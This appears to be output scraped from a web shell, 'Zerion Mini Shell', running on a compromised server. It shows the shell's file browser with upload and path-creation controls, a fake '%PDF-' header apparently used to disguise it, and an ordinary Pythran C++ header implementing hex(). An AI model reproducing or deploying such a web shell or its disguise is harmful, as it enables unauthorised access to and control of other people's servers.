%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/hex.hpp

#ifndef PYTHONIC_BUILTIN_HEX_HPP
#define PYTHONIC_BUILTIN_HEX_HPP

#include "pythonic/include/builtins/hex.hpp"

#include "pythonic/utils/functor.hpp"
#include "pythonic/types/str.hpp"

#include <sstream>

PYTHONIC_NS_BEGIN

namespace builtins
{

  template <class T>
  types::str hex(T const &v)
  {
    std::ostringstream oss;
    oss << "0x" << std::hex << v;
    return oss.str();
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0